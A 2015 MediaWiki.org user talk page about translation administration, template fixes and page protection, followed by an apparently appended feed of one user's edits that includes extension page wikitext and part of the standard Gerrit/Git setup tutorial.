Maybe is better use <code><nowiki>{{#Translation:}}</nowiki></code> instead <code><nowiki>{{Translation}}</nowiki></code> (for mark translated categories)? --[[User:Kaganer|Kaganer]] ([[User talk:Kaganer|talk]]) 09:47, 28 March 2015 (UTC)
:I don't think so. [[User:Shirayuki|Shirayuki]] ([[User talk:Shirayuki#top|talk]]) 10:29, 28 March 2015 (UTC)

== Template not show ==

[https://www.mediawiki.org/w/index.php?title=Manual:Pywikibot&diff=1445904&oldid=1444150 this edit] caused the template to disappear for me (English). [[User:John Vandenberg|John Vandenberg]] ([[User talk:John Vandenberg|talk]]) 09:42, 2 April 2015 (UTC)
:{{done}}. Sorry! [[User:Shirayuki|Shirayuki]] ([[User talk:Shirayuki#top|talk]]) 11:58, 2 April 2015 (UTC)

== Splitting translation units ==

Hi! Thanks for all your work adding new pages to translation.

When you [https://www.mediawiki.org/w/index.php?title=Help:Extension:Translate/Page_translation_administration&curid=75843&diff=1525135&oldid=1429885 radically change the content of a translation unit], it's necessary to remove the translation unit marker before it, so that it gets a new one when you remark.

That said, I doubt that [https://www.mediawiki.org/w/index.php?title=Special:MessageGroupStats&language=it&group=page-Help%3AExtension%3ATranslate%2FPage+translation+administration trashing existing translations of 800 paragraphs] is a good idea. Did you mean to migrate all the translations to the new units yourselves? That would be heroic, but there is always a margin of error so I'm not sure that would end up well either.

Speaking of adding new pages, do you have opinions on importing some Meta pages? https://gerrit.wikimedia.org/r/#/c/194418/ [[User:Nemo_bis|Nemo]] 06:53, 10 April 2015 (UTC)
:Ouch, you did not see on time? :( [https://www.mediawiki.org/w/index.php?title=Help:Extension:Translate/Page_translation_administration&diff=next&oldid=1525136] [[User:Nemo_bis|Nemo]] 07:09, 10 April 2015 (UTC)
:Hi, do you plan to import old translations of [[Help:Watching pages]]? I'm trying [[Special:PageMigration]] for the Italian translation and it's a pain, mostly because of its being an old translation but also because you split many paragraphs in multiple units. In some cases, I have to split Italian ''sentences'' across multiple units (for instance when Italian uses punctuation instead of period + conjunction).
:If you don't plan to import the translations yourself, I'd rather remark the page from scratch so that its structure is more similar to the original. [[User:Nemo_bis|Nemo]] 09:49, 2 May 2015 (UTC)
::I see. Please remark from scratch. After that, UI messages should be replaced by <code><nowiki>{{int|...}}</nowiki></code> as I did. [[User:Shirayuki|Shirayuki]] ([[User talk:Shirayuki#top|talk]]) 11:55, 2 May 2015 (UTC)

== Ping ==

In case you haven't seen it already, then I would like you to know about the request here: [//en.wikipedia.org/wiki/ja:Wikipedia‐ノート:ビジュアルエディター w:ja:Wikipedia‐ノート:ビジュアルエディター]. Thank you for your support. [[User:Whatamidoing (WMF)|Whatamidoing (WMF)]] ([[User talk:Whatamidoing (WMF)|talk]]) 04:55, 23 April 2015 (UTC)

== Thanks :) ==

Thanks for your help with translating [[Extension:Gather/FAQ]]. I see the Japanese translation of the feature is [https://translatewiki.net/w/i.php?title=Special%3AMessageGroupStats&x=D&group=ext-gather#sortable:3=desc only 5%], once completed, we can beta test the feature on jawp, as well. Let me know if you have suggestions on users to ping to help with translations. Thanks again :) [[User:Melamrawy (WMF)|Melamrawy (WMF)]] ([[User talk:Melamrawy (WMF)|talk]]) 10:43, 1 May 2015 (UTC)

== Aragonés ==

Hi,
I have seen that you are doing a great job here. I am new at mediawiki and have a question about Aragonés language. Perhaps you could help me.

If you are viewing mediawiki in aragonese language and you try to go from the main left side bar to [[MediaWiki/an]] what is happening is that you go to [[MediaWiki/es]] in spanish instead of [[MediaWiki/an]] in aragonés. I don't know how to fix it.

Thank you for your attention. [[User:Carlos Cristia|Carlos Cristia]] ([[User talk:Carlos Cristia|talk]]) 14:46, 1 May 2015 (UTC)
:Hi. See [[MediaWiki:sidebar]]. The link target comes from [[MediaWiki:mw-mainpage-url]] and its translation.
:But [[MediaWiki:mw-mainpage-url/an]] doesn't exist, so [[MediaWiki:mw-mainpage-url/es]] is used as a fallback. See {{ll|Manual:Language#Fallback languages}} about fallback languages.
:<s>The above translation should be done on {{ll|translatewiki.net|translatewiki.net}}.</s> [[User:Shirayuki|Shirayuki]] ([[User talk:Shirayuki|talk]]) 21:46, 1 May 2015 (UTC)
::Thanks a lot for your answer. I will try ! [[User:Carlos Cristia|Carlos Cristia]] ([[User talk:Carlos Cristia|talk]]) 23:10, 2 May 2015 (UTC)
:::{{done}}. I have created [[MediaWiki:mw-mainpage-url/an]]. [[User:Shirayuki|Shirayuki]] ([[User talk:Shirayuki#top|talk]]) 11:29, 4 May 2015 (UTC)
::::Thanks a lot !!!! ;-) [[User:Carlos Cristia|Carlos Cristia]] ([[User talk:Carlos Cristia|talk]]) 21:03, 4 May 2015 (UTC)

== ¡Una barnstar para ti! ==

{| style="background-color: #fdffe7; border: 1px solid #fceb92;"
| rowspan="2" style="vertical-align: middle; padding: 5px;" | [[File:Special Barnstar Hires.png|100x100px]]
| style="font-size: x-large; padding: 3px 3px 0 3px; height: 1.5em;" | '''La Barnstar especial'''
|-
| style="vertical-align: middle; padding: 3px;" | Thank you for your help with aragonese language ! [[User:Carlos Cristia|Carlos Cristia]] ([[User talk:Carlos Cristia|talk]]) 21:09, 4 May 2015 (UTC)
|}

== Mark for translation ==

hi please could ypu marks for translations here https://www.mediawiki.org/wiki/Template:SkinInstall and https://www.mediawiki.org/wiki/Template:ExtensionInstall here. [[User:Paladox2017|Paladox2017]] ([[User talk:Paladox2017|talk]]) 00:42, 26 May 2015 (UTC)
:Please approve translations at https://www.mediawiki.org/wiki/Template:SkinInstall [[User:Paladox2017|Paladox2017]] ([[User talk:Paladox2017|talk]]) 12:16, 27 May 2015 (UTC)
::{{done}} [[User:Shirayuki|Shirayuki]] ([[User talk:Shirayuki#top|talk]]) 20:28, 27 May 2015 (UTC)

== Translation broken at [[Template:ExtensionInstall|ExtensionInstall]] ==

Please read https://www.mediawiki.org/wiki/Template_talk:ExtensionInstall section at bottom and <nowiki><translation></nowiki> is broken at https://www.mediawiki.org/wiki/Template:ExtensionInstall [[User:Paladox2017|Paladox2017]] ([[User talk:Paladox2017|talk]]) 12:11, 27 May 2015 (UTC)
:{{done}} [[User:Shirayuki|Shirayuki]] ([[User talk:Shirayuki#top|talk]]) 20:17, 27 May 2015 (UTC)

== Template:ExtensionInstall broken. ==

Hello. Please see [https://www.mediawiki.org/wiki/Thread:Extension_talk:ParserFunctions/Installation_section_broken this]. Ta. [[User:AlastairIrvine|AlastairIrvine]] ([[User talk:AlastairIrvine|talk]]) 07:46, 3 June 2015 (UTC)

== plz unblock Bilal Lalpurwal of ps wikipedia ==

hi shirayuki. recently i have seen that Bilal Lalpurwal has been blocked by you. may i know the reason plz?

if you could let him to work on Ps wiki only!

regards
![[User:عثمان منصور انصاري|عثمان منصور انصاري]] ([[User talk:عثمان منصور انصاري|talk]]) 20:49, 5 June 2015 (UTC)
:Reason: Vandalism-only account (Spamming / Creating pages out of MediaWiki.org's project scope) [[User:Shirayuki|Shirayuki]] ([[User talk:Shirayuki#top|talk]]) 21:01, 5 June 2015 (UTC)

== [[Beta Features/Hovercards]] protection ==

Hi, I see you protected that page. But, earlier today, [https://www.mediawiki.org/w/index.php?title=Beta_Features/Hovercards&diff=1700115&oldid=1670755 this] happened. I don't see how Wp,mumtima is autoconfirmed? [[User:George8211|George8211]] ([[User talk:George8211|talk]]) 15:09, 4 July 2015 (UTC)
:{{done}}, I have blocked the user. Thanks. [[User:Shirayuki|Shirayuki]] ([[User talk:Shirayuki#top|talk]]) 20:57, 4 July 2015 (UTC)

== DISPLAYTITLE in Template:Database layout ==

Why was DISPLAYTITLE [https://www.mediawiki.org/w/index.php?diff=1498528 removed] on the template? It was used to display [[Manual:User groups table]] as user_groups table, and all other database tables as lowercase [[User:Ciencia Al Poder|Ciencia Al Poder]] ([[User talk:Ciencia Al Poder|talk]]) 13:49, 25 July 2015 (UTC)

== translation tags completely break template "extension" ==

After removing [[Special:Diff/1448611/182612|removing the translation tags]] the template started to show up again. Dunno what is wrong however it seems that on cannot add translation tags within the template. [[User:Kghbln|[[kgh]]]] ([[User talk:Kghbln|talk]]) 11:34, 10 August 2015 (UTC)
:I guess you cannot be serious. I just reverted your edit until this problem is solved. Thank you for understanding. [[User:Kghbln|[[kgh]]]] ([[User talk:Kghbln|talk]]) 13:19, 10 August 2015 (UTC)

== Uma medalha para si! ==

{| style="background-color: #fdffe7; border: 1px solid #fceb92;"
| rowspan="2" style="vertical-align: middle; padding: 5px;" | [[File:Brilliant Idea Barnstar Hires.png|100x100px]]
| style="font-size: x-large; padding: 3px 3px 0 3px; height: 1.5em;" | '''A medalha de ideia brilhante'''
|-
| style="vertical-align: middle; padding: 3px;" | COMO FASSO PARA TER A MEDALHA! Michael waynga 18:04, 22 August 2015 (UTC)
|}

== Odd translations ==

While looking through various calls to {{tl|Localized link}}, I noticed a couple of odd links that I suspect have namespaces that have been translated when they shouldn't have been. I think these are just straight-forward changes, but since I can't seem to wrap my head around how translation works, I thought I'd send them your way, just to be safe. The specific pages in question are:

* [[Translations:Manual:$wgUsePrivateIPs/8/de]]
* [[Translations:Manual:$wgUsePrivateIPs/8/it]]
* [[Translations:Extension:Translate/20/vi]]
* [[Translations:Communication/9/ta]] – [[User:RobinHood70|Robin Hood]]  [[User_talk:RobinHood70|(talk)]] 19:01, 23 August 2015 (UTC)
:The translation unit "8" of [[Manual:$wgUsePrivateIPs]] doesn't exist, so its translation pages can be removed by an administrator. [[User:Shirayuki|Shirayuki]] ([[User talk:Shirayuki|talk]]) 20:38, 23 August 2015 (UTC)
:Namespaces (or page titles) should be made untranslatable. See also [{{canonicalurl:Topic:Sblhxm0f1agslr0i|topic_showPostId=sdqeexbiy4a6hjtn#flow-post-sdqeexbiy4a6hjtn}} this topic]. [[User:Shirayuki|Shirayuki]] ([[User talk:Shirayuki|talk]]) 20:54, 23 August 2015 (UTC)
:That's what I figured. Thanks! – [[User:RobinHood70|Robin Hood]]  [[User_talk:RobinHood70|(talk)]] 21:30, 23 August 2015 (UTC)

== 翻訳の修正をありがとうございます ==

初めまして、Omotecho と言います。訳の間違いをご指摘いただきありがとうございます。実は、こちらの英語版には自分も知りたかったことがたくさんあり、日本語版があればと思ってとりかかりました。

もうしばらく続けてみて、下訳を残せばお役に立つか、ご迷惑だからやめるかどうか決めたいと思います。 Shirayuki さんには校正の手間をかけてしまうのですが、できれば翻訳を進めながら勉強したいと思います。よろしくご指導くださると誠に幸いです。 [[User:Omotecho|Omotecho]] ([[User talk:Omotecho|talk]]) 20:01, 30 August 2015 (UTC)

== A barnstar for you! ==

{| style="border: 1px solid #939598;padding:0.5em;"
| rowspan="3" style="vertical-align:middle;" |[[File:Thank you award Logo pos.svg|140x140px]]
| rowspan="3" |
| style="font-size: x-large; padding: 0; vertical-align: middle; height: 1.1em;" | '''Liaisons' barnstar'''
|-
| style="height: 12px;font-sizeː x-small;" | From [//meta.wikimedia.org/wiki/Community Liaison Community liaison team]
|-
| style="vertical-align: middle; border-top: 1px solid #990000;" |
Hello Shirayuki,

On behalf of Community liaison team, I'm really happy to offer you this barnstar. All the work you do to take care of pages on mediawiki.org and your translation work is awesome!

All the best, [//meta.wikimedia.org/wiki/User:Trizek (WMF) Trizek (WMF)]
|} [[user:Trizek (WMF)|Trizek'''_'''(WMF)]] ([[user talk:Trizek (WMF)|talk]]) 13:21, 4 September 2015 (UTC)

== Japanese translations ==

Please see [https://www.mediawiki.org/wiki/Special:Contributions/240D:1A:CC:A600:845C:1DFF:4497:DCAC these translations]. Regards. [[User:Syum90|Syum90]] ([[User talk:Syum90|talk]]) 16:24, 7 September 2015 (UTC)

== Protecting [[Help:Watchlist]] ==

You protected [[Help:Watchlist|the page]] with the comment "Excessive vandalism". I don't see any, let alone excessive, vandalism in the page history. What revisions are you referring to? [[User:Tim.landscheidt|Tim Landscheidt]] ([[User talk:Tim.landscheidt|talk]]) 11:02, 8 September 2015 (UTC)
:Unprotected. Thanks. [[User:Shirayuki|Shirayuki]] ([[User talk:Shirayuki|talk]]) 11:40, 8 September 2015 (UTC)

== Marks for translation [[Extension:ImportArticles]] ==

Can you re-mark the page for translation please? :) [[User:Developaws|Developaws]] ([[User talk:Developaws|talk]]) 16:20, 11 September 2015 (UTC)

Category:LGPL licensed extensions/ja

2015-09-11T16:16:36Z

Developaws: Created page with "{{languages}} Category:Extensions by license"

{{languages}}
[[Category:Extensions by license]]

User:Developaws

2015-09-11T13:55:24Z

Developaws:

; Currently maintained extensions
* [[Extension:ImportArticles]]
* [[Extension:Patroller]]

Extension:Spoilers

2015-09-11T10:49:25Z

Developaws: Add translation tags (Can somebody with translator admin mark it for translation?), also fixed license for Module:Extension

{{ {{TNTN|Extension}}
|name = Spoilers
|status = stable
|type1 = tag
|hook1 = ParserFirstCallInit
|author = Tim "Telshin" Aldridge
|username = ProgramCeltic
|version = 1.3
|update = 2015-07-20
|mediawiki = 1.21+
|needs-updatephp = No
|license = LGPL-3.0
|download = {{ {{TNTN|GithubDownload}} |Telshin|Spoilers}}
|description = <translate>Allows to hide text using the <spoiler> tag</translate>
|tags = <spoiler>
}}
<translate>
The '''Spoilers '''extension adds a spoiler tag that will hide a block of text. The spoiler button's show/hide message can be customized for each set.

Spoilers will be hidden on page load.

== Installation ==
</translate>
{{ {{TNTN|ExtensionInstall}}
|download-link=[https://github.com/Telshin/Spoilers/archive/master.zip Download]
}}

<translate>
== Usage Examples ==
<spoiler hide="hide_message">spoiler_text</spoiler>

<spoiler show="show_message">spoiler_text</spoiler>

<spoiler show="show_message" hide="hide_message">spoiler_text</spoiler>

<spoiler>spoiler_text</spoiler>
</translate>

Extension:ImportArticles

2015-09-11T10:47:01Z

Developaws: Versioning update, and cleanup

<languages/>
{{TNT|Extension|templatemode=
|name = ImportArticles
|status = stable
|type1 = ajax
|hook1 = BeforePageDisplay
|username = Cblair91
|description = <translate>
Adds an ImportArticles used for JavaScript to import multiple CSS/JS pages at once.</translate>
|version = 1.3
|update = 2015-09-11
|mediawiki = 1.21+
|download = {{TNT|WikimediaDownload|ImportArticles}}
|needs-updatephp = No
|license = GPL-3.0
}}
<translate>

The '''ImportArticles''' extension adds a JavaScript that is loaded on the page, which allows the importation of multiple JS and CSS at once.</translate>
<translate>

This is usable in the MediaWiki namespace for the skin, or in the users namespace for their local modifications.

== Installation == 
</translate>
{{TNT|ExtensionInstall
|repo-name=ImportArticles
}}

== History ==
V1.3:
* Cleaned up a bunch of the code, and transfer to current PHP/MW standards
V1.2:
* Add version and licence to JavaScript definer
* Change variables to global variable
* Fixed console logging for page missing
V1.1:
* Change variables
* Fixed output formatting
V1.0:
* Initial release

[[Category:Simple extensions{{translation}}]]

Extension:ImportArticles

2015-09-11T10:44:32Z

Developaws: Versioning update, and cleanup

<languages/>
{{TNT|Extension|templatemode=
|name = ImportArticles
|status = stable
|type1 = ajax
|hook1 = BeforePageDisplay
|username = Cblair91
|description = <translate>
Adds an ImportArticles used for JavaScript to import multiple CSS/JS pages at once.</translate>
|version = 1.3
|update = 2015-09-11
|mediawiki = 1.21+
|download = {{TNT|WikimediaDownload|ImportArticles}}
|needs-updatephp = No
|license = GPL-3.0
}}
<translate>

The '''ImportArticles''' extension adds a JavaScript that is loaded on the page, which allows the importation of multiple JS and CSS at once.</translate>
<translate>

This is usable in the MediaWiki namespace for the skin, or in the users namespace for their local modifications.

== Installation == 
</translate>
{{TNT|ExtensionInstall
|download-link=[[Extension:ImportArticles/code|<translate>
Copy the code into files</translate>]]
}}

== History ==
V1.2:
* Add version and licence to JavaScript definer
* Change variables to global variable
* Fixed console logging for page missing
V1.1:
* Change variables
* Fixed output formatting
V1.0:
* Initial release

[[Category:Simple extensions{{translation}}]]

Gerrit/Tutorial

2015-09-11T09:46:19Z

Developaws: /* Add SSH key to use with Git */

[[File:Maitre du feu.jpg|thumb|Git and Gerrit lets us deploy your code faster and makes collaboration easier!]]
{{TNT|Git and Gerrit}}

This [[:Category:Tutorials|tutorial]] helps you with:
*step-by-step instructions and screenshots for getting Gerrit access
*setting up Git on your machine
*configuring Git
*installing git-review
*submitting a patch
*understanding the MediaWiki code review process

For the quick version, see [[Gerrit/Getting started]]. [[Gerrit/Advanced usage]] has additional documentation for power users. For more information check [[Gerrit]].

== What is Git? ==
[[w:Git (software)|Git]] is a distributed version control system ([[w:Distributed Version Control System|dvcs]]) written in [[w:C (programming language)|C]] originally developed by [[w:Linus Torvalds|Linus Torvalds]] and others to manage the [[w:Linux kernel|Linux kernel]]. In the past couple of years, it has taken off as a very robust and well-supported code [[w:Repository (version control)|repository]]. “Distributed” means that there is no central copy of the [[w:Repository (version control)|repository]]. With [[w:Apache Subversion|Subversion]], Wikimedia’s servers host the repository and users commit their changes to it. In contrast, with Git, once you’ve cloned the repository, you have a fully functioning copy of the [[w:Source code|source code]], with all the [[w:Branching (software)|branches]] and tagged releases at your disposal.

Git is a free and open source distributed version control system designed to handle everything from small to very large projects with speed and efficiency.
Git is easy to learn and has a tiny footprint with lightning fast performance. It outclasses SCM tools like Subversion, CVS, Perforce, and ClearCase with features like cheap local branching, convenient staging areas, and multiple workflows.

== What is Gerrit? ==
'''[[w:Gerrit (software)|Gerrit]]''' is a free, web-based collaborative code review tool that integrates with [[w:Git (software)|Git]]. It has been developed at [[w:Google|Google]] by Shawn Pearce (co-author of Git, founder of JGit) for the development of the [[w:Android|Android]] project.

Starting from a set of patches for [[w:Rietveld (Software)|Rietveld]], it became a fork and evolved into a full blown project when [[w:Access control list|ACL]] patches wouldn't be merged into Rietveld by its author, [[w:Guido van Rossum|Guido van Rossum]].

Originally written in [[w:Python (programming language)|Python]] like [[w:Rietveld (Software)|Rietveld]], it is now written in Java ([[w:Java Platform, Enterprise Edition|Java EE Java Servlet]]) with [[w:SQL |SQL]] since version 2.

== Why did Wikimedia engineering move from Subversion to Git ==
'''[[wmfblog:2012/02/15/wikimedia-engineering-moving-from-subversion-to-git/|Three major reasons]]:'''
# '''To encourage participation''': Since Git is distributed, it allows people to contribute with a much lower barrier to entry. Anyone will be able to clone the repository and make their own changes to keep track of them. And if you’ve got an account in our code review tool (Gerrit), you’ll be able to push changes for the wider community to review.
# '''To fix our technical process''': Subversion has technical flaws that make life difficult for developers. Notably, the implementation of branching is not very easy to use, and makes it hard to use “feature branches”. Our community is very distributed, with many parallel efforts and needs to integrate many different feature efforts, so we’d like to use feature branches more. Git branches are very easy to work with and merge between, which should make things easier for our development community. (Several other large projects, such as Drupal and PostgreSQL, have made the same switch for similar reasons, and we’ve done our best to learn from their experiences.)
# '''To get improvements to users faster''': With better branching and a more granular code review workflow that suits our needs better, plus our ongoing improvements to our automated testing infrastructure, we won’t have to wait months before deploying already-written features and bugfixes to [[foundation:Our projects|Wikimedia sites]].

== Setting up Git ==
These instructions explain how to install Git as a command-line tool. If you also want a GUI client check the [http://git-scm.com/downloads/guis list maintained by the Git project]. For alternate instructions look [http://www.git-scm.com/book/en/Getting-Started-Installing-Git here], or [https://help.github.com/articles/set-up-git#download-and-install-git here].

=== Installation ===

==== Mac OS X ====
Install one of the following:
* [http://mxcl.github.com/homebrew/ Homebrew] package manager: <code>brew install git</code> – Recommended, simple updating and easy installing of other packages
* Standalone: [http://git-scm.com/download/mac Git for Mac]

==== Windows ====
Install Git + MSys (''Minimal Bash for Windows'') from [//msysgit.github.io/ msysgit.github.io] . This gives you Git, plus a shell that allows most of the command lines in these instructions to work on Windows. See also [[Gerrit/TortoiseGit tutorial]].

==== Linux & UNIX ====
[[File:Screen Shot 2012-05-25 at 10.39.36 AM.png|thumb|Installing git on Ubuntu]]
For other [[w:Linux distributions|Linux distributions]] please check your vendor documentation.
* Debian/Ubuntu: <code>sudo apt-get install git</code>
* Fedora: <code>yum install git</code>
* archlinux: <code>pacman -S git</code>
* openSUSE: <code>zypper install git</code>
* Gentoo: <code>emerge --ask --verbose dev-vcs/git</code>
* FreeBSD: <code>cd /usr/ports/devel/git; make install</code>
* NetBSD: <code>cd /usr/pkgsrc/devel/scmgit/; make install</code>
* OpenBSD: <code>pkg_add git</code>
* Solaris 11 Express: <code>pkg install developer/versioning/git</code>
* Mageia: <code>urpmi git</code>

Now that you have Git installed, it’s time to configure your personal info.

=== Configure Git ===
Now that you have Git on your system, you’ll want to do a few things to customize your Git environment.
You should have to do these things only once; they’ll stick around between upgrades. You can also change them at any time by running through the commands again.

Git comes with a tool called <code>git config</code> that lets you get and set configuration variables that control all aspects of how Git looks and operates. To see your current configuration use the "list" (-l) option:
<pre>
git config -l
</pre>
[[File:Git config -l.png]]

==== Set your username and email ====
Git tracks who makes each commit by checking the user’s name and email. In addition, we use this info to associate your commits with your Gerrit account.
To set these, enter the code below, replacing the name and email with your own. (To keep your email private you can use "<username>@gerrit.wikimedia.org", substituting your Gerrit username.)
<pre>
git config --global user.email "example@wikimedia.org"
git config --global user.name "example"
</pre>
[[File:Git config email and username.png]]

== Set Up SSH Keys in Gerrit ==
We use SSH keys to establish a secure connection between your computer and Gerrit. Setting them up is fairly easy, but does involve a number of steps. Run the following commands in a terminal. For alternate instructions look [https://help.github.com/articles/generating-ssh-keys#step-1-check-for-ssh-keys here], and then [https://wikitech.wikimedia.org/wiki/Help:Getting_Started#Create_a_User_Account here].

To make sure whether you need to generate a brand new key, you need to check if one already exists. List the files in your .ssh directory (if you have one):
<pre>
$ cd .ssh
$ ls
</pre>
If you see a file called <code>id_rsa.pub</code> here, you may skip right to [[#Add your SSH key]].

=== Generate a new SSH key ===
To generate a new SSH key, enter the code below. We want the default settings so when asked to enter a file in which to save the key, just press enter.
<pre>
$ ssh-keygen -t rsa -C "your_email@youremail.com"
</pre>

Assign a memorable passphrase and press [enter] (''press the [enter] key twice if you don't want a passphrase''*).

::'''* Why do passphrases matter?'''
::''Passwords aren’t very secure, you already know this. If you use one that’s easy to remember, it’s easier to guess or brute-force (try many options until one works). If you use one that’s random it’s hard to remember, and thus you’re more inclined to write the password down. Both of these are Very Bad Things™. This is why you’re using ssh keys.''

::''But using a key without a passphrase is basically the same as writing down that random password in a file on your computer. Anyone who gains access to your drive has gained access to every system you use that key with. This is also a Very Bad Thing™. The solution is obvious: add a passphrase.''

::'''But I don’t want to enter a long passphrase every time I use the key!'''

::''Neither do we! Thankfully, there’s a nifty little tool called <code>ssh-agent</code> that can save your passphrase securely so you don’t have to re-enter it. If you’re on OSX Leopard or later your keys can be saved in the system’s keychain to make your life even easier.''

Which should give you something like this: 
[[File:Ssh-keygen -t rsa -C "your email@youremail.com".png]]

It will create 2 files in ~/.ssh directory as follows:

~/.ssh/id_rsa : identification (private) key
~/.ssh/id_rsa.pub : public key

=== Add your SSH key ===
Open your public key file, (e.g. id_rsa.pub) with a text editor (Notepad, TextEdit, or gedit will do just fine). You may need to turn on “view hidden files” to find it because the .ssh directory is hidden. It’s important you copy your SSH key exactly as it is written without adding any newlines or whitespace. Copy the full text, including the "ssh-rsa" lead and email address tail.

On a linux system you can use the following:
<pre>
cat /home/<local-user>/.ssh/id_rsa.pub
</pre>
Which for local-user preilly, gives this: 
[[File:Cat id rsa.pub.png]]

==== Can’t view hidden files? Other ways to copy: ====
'''OSX'''
<pre>
$ pbcopy < ~/.ssh/id_rsa.pub # Copies the contents of the id_rsa.pub file to your clipboard
</pre>

'''Windows''' 
You can open Git GUI, go to Help > Show Key, and then press Copy To Clipboard to copy your public key to your clipboard.

'''Linux'''
<pre>
$ sudo apt-get install xclip # Downloads and installs xclip
$ xclip -sel clip < ~/.ssh/id_rsa.pub
</pre>

=== Add ssh key to your Gerrit account ===
Create an account at [https://wikitech.wikimedia.org/wiki/Special:UserLogin/signup wikitech.wikimedia.org] if you do not yet have one.

Log into the [https://gerrit.wikimedia.org web interface for Gerrit]. Click on your username in the top right corner, then choose "Settings". On the left you will see SSH PUBLIC KEYS. Paste your SSH Public Key into the corresponding field. Alternately, once logged in, use these direct links to add your public key to [https://gerrit.wikimedia.org/r/#/settings/ssh-keys Gerrit] and [https://wikitech.wikimedia.org/wiki/Special:NovaKey wikitech].

=== Add SSH key to use with Git ===
Start Git Bash.
* Get ssh-agent running using
: <pre>$ eval `ssh-agent`</pre>
: Be sure to use the accent " ` " located under the tilde " ~ ", not the single quote " ' " (or above tab for UK keyboards).
* Add your private key to the agent (use path to your private key file)
: <pre>$ ssh-add .ssh/id_rsa</pre>
: if the key is in the default location, use <code>$ ssh-add ~/.ssh/id_rsa </code>
: Key should be in OpenSSH format (.ppk keys can be exported to this format in PuTTyGen).
* Run ssh. (Do be paranoid and check for the matching [https://wikitech.wikimedia.org/wiki/Help:SSH_Fingerprints/gerrit.wikimedia.org:29418 SSH fingerprint for gerrit.wikimedia.org:29418] when logging in for the first time.)
: <pre>$ ssh -p 29418 <USERNAME>@gerrit.wikimedia.org</pre>
: It should give a Gerrit welcome message and then abort. If it doesn't, add the <code>-v</code> (verbose) option to the command to help debug.

=== Download the Examples extension using Git ===
You can [[Download from Git|download MediaWiki core]] using Git, as well as the source code of any project repository hosted at [https://gerrit.wikimedia.org gerrit.wikimedia.org] (the [[w:Wikimedia_Foundation|Wikimedia Foundation]] [[w:Server cluster|server cluster]]).

Let's practice downloading the Examples extension. Simply run the following on the git bash [[w:Command line|command line]]:
<pre>
$ git clone ssh://<USERNAME>@gerrit.wikimedia.org:29418/mediawiki/extensions/examples
</pre>
[[File:Git clone.png]]

This will copy the entire history of the "Examples" extension repository. You will have a working directory of the extension's main branch, so you can look at the code and start editing it. If you change into the new directory, you can see the .git subdirectory. That is where all the project data is.

By default, Git will create a directory that has the same name as the project in the URL you give it - basically whatever is after the last slash of the URL. If you want something different, you can just put it at the end of the command, after the URL.
So, in this example you will have a "examples" directory.

== Prepare to work with Gerrit ==
{{{{TNTN|Main}}|Gerrit/git-review}}

Your commit message '''needs''' a "change ID" in order to work with Gerrit. You can see these in the git log for a project and if you browse changes on Gerrit, they look like <code>Change-Id: ''I''bd3be19ed1a23c8638144b4a1d32f544ca1b5f97</code> starting with an '''''I '''''(capital i)).
Each time you amend a commit in response to Gerrit feedback git gives it a new commit ID, but because this change ID stays the same Gerrit will keep track of it as a new "patch set" addressing the same change.

There's a git add-on called '''git-review''' that adds a Change-ID line to your commits and manages other aspects of using Gerrit.

=== Installing git-review ===

For more details, please see [[Gerrit/git-review]]

First, install the release version of <code>[[Gerrit/git-review|git-review]]</code>.

In Windows, please see [[Gerrit/git-review#Windows]].

If you're running recent Debian/Ubuntu, <code>git-review</code> has been packaged, so you can simply run
<source lang="bash">
$ sudo apt-get install git-review
</source>
If that worked, skip past the next section.

==== Install using pip Python package installer ====
Generally, the easiest way to get the latest version of git-review is to install it using the [[w:Pip (Python)|python package installer]] <code>pip</code>:
<source lang="bash">
$ sudo pip install git-review
</source>

If that worked, skip to the next section.
If you need to install pip, then:

In Debian/Ubuntu, to install
<source lang="bash">
$ sudo apt-get install python-pip
</source>

On OpenSuse, install via YaST <code>python-setuptools</code>, then run
<source lang="bash">
$ sudo easy_install pip
</source>
[[File:Apt-get install python-pip.png]]

<source lang="bash">
$ sudo pip install git-review
</source>
[[File:Pip install git-review.png]]

On FreeBSD, you directly have a kept up to date devel/git-review port:
<source lang="bash">
$ cd /usr/ports/devel/git-review
$ make install
</source>

'''Note:''' if you don't have <code>apt-get</code> but have <code>python</code> installed, you can use this:
<source lang="bash">
$ sudo easy_install pip
$ sudo pip install git-review
</source>

Or, if you already have git-review installed, you can upgrade it using
<source lang="bash">
$ sudo pip install --upgrade git-review
</source>

=== Configuring git-review ===
Git is a distributed version control system; it's ''possible'' to fetch code from one host, push your changes to another, and submit them to a third for Gerrit code review. It's a lot simpler to work with one "remote" for all three. Since Git's default remote name is "origin" and most guides on the web use that name, let's tell git-review to use this as well. In your home directory, create <tt>.config/git-review/git-review.conf</tt> (in Windows, the file is <tt>%USERPROFILE%\.config\git-review\git-review.conf</tt>) and add these two lines:
<source lang="ini">
[gerrit]
defaultremote = origin
</source>

=== Setting up git-review ===
After [[Download from Git|cloning a repository]], you need to set it up for git-review. This will automatically happen the first time you try to submit a commit, but it's generally better to do it right after cloning.
In your project's directory ("examples"), enter
<source lang="bash">
$ git review -s
</source>

which should give you this: 
[[File:Git review -s.png]]

''If you see "the authenticity of host gerrit.wikimedia.org can't be established..."
Don’t worry, this is supposed to happen ''the first time''. Type "yes".''

This may ask you for your git username, if it's different from the shell username you're using.

== How to submit a patch ==
For a brief overview see [[Gerrit/Getting started]].

The main avenue for submitting changes to MediaWiki code is to first [[Developer_access|join the MediaWiki development community]] so you can submit changes to Gerrit, our code review tool. Getting developer access is relatively easy.

Clone the "mediawiki core" repository or the project repository which you are interested in. Open git bash and enter one of the following lines:
<pre>
$ git clone ssh://USERNAME@gerrit.wikimedia.org:29418/mediawiki/core.git
</pre>
<pre>
$ git clone ssh://USERNAME@gerrit.wikimedia.org:29418/mediawiki/extensions/EXTENSION.git
</pre>
Substitute your gerrit username and the extension or project name. You can copy this git command from the top of the project's home page in gerrit.

=== Update master ===
Make sure that your master branch (the branch created when you initially cloned the repository) is up to date:
<pre>
git pull origin master
</pre>

[[File:Git pull origin master.png]]

However, note that a few repositories use different terms (for example operations/puppet has a "production" instead of a "master" branch).

=== Create a branch ===
First, create a local branch for your new change. Give the branch a short but reasonably descriptive name (e.g. <code>T1234</code>, <code>bug/1234</code>, <code>cleanup/some-thing</code>, <code>badtitle-error</code>, ..).
<pre>
git checkout -b BRANCHNAME origin/master
</pre>
<syntaxhighlight lang="bash">
krinkle@example:~/dev/mw$ git checkout -b badtitle-error origin/master
# Switched to a new branch 'badtitle-error'
krinkle@example:~/dev/mw$ git branch
* badtitle-error
master
</syntaxhighlight>
This will create a new branch (BRANCHNAME) from the latest 'master' and check it out for you. This is equivalent to doing
<pre>
git branch BRANCHNAME --track origin/master
git checkout BRANCHNAME
</pre>

=== Make and commit your change ===

